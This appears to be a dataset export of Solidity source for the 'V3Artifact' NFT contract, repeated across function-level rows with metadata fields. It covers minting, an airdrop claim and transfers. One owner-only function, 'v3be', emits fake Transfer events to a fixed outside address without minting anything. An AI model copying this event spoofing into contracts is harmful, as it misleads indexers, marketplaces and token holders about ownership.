safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | transferFrom | function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
| /**
* @dev See {IERC721-transferFrom}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
7608,
7768
]
} | 4,297 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | safeTransferFrom | function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
| /**
* @dev See {IERC721-safeTransferFrom}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
7830,
8005
]
} | 4,298 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
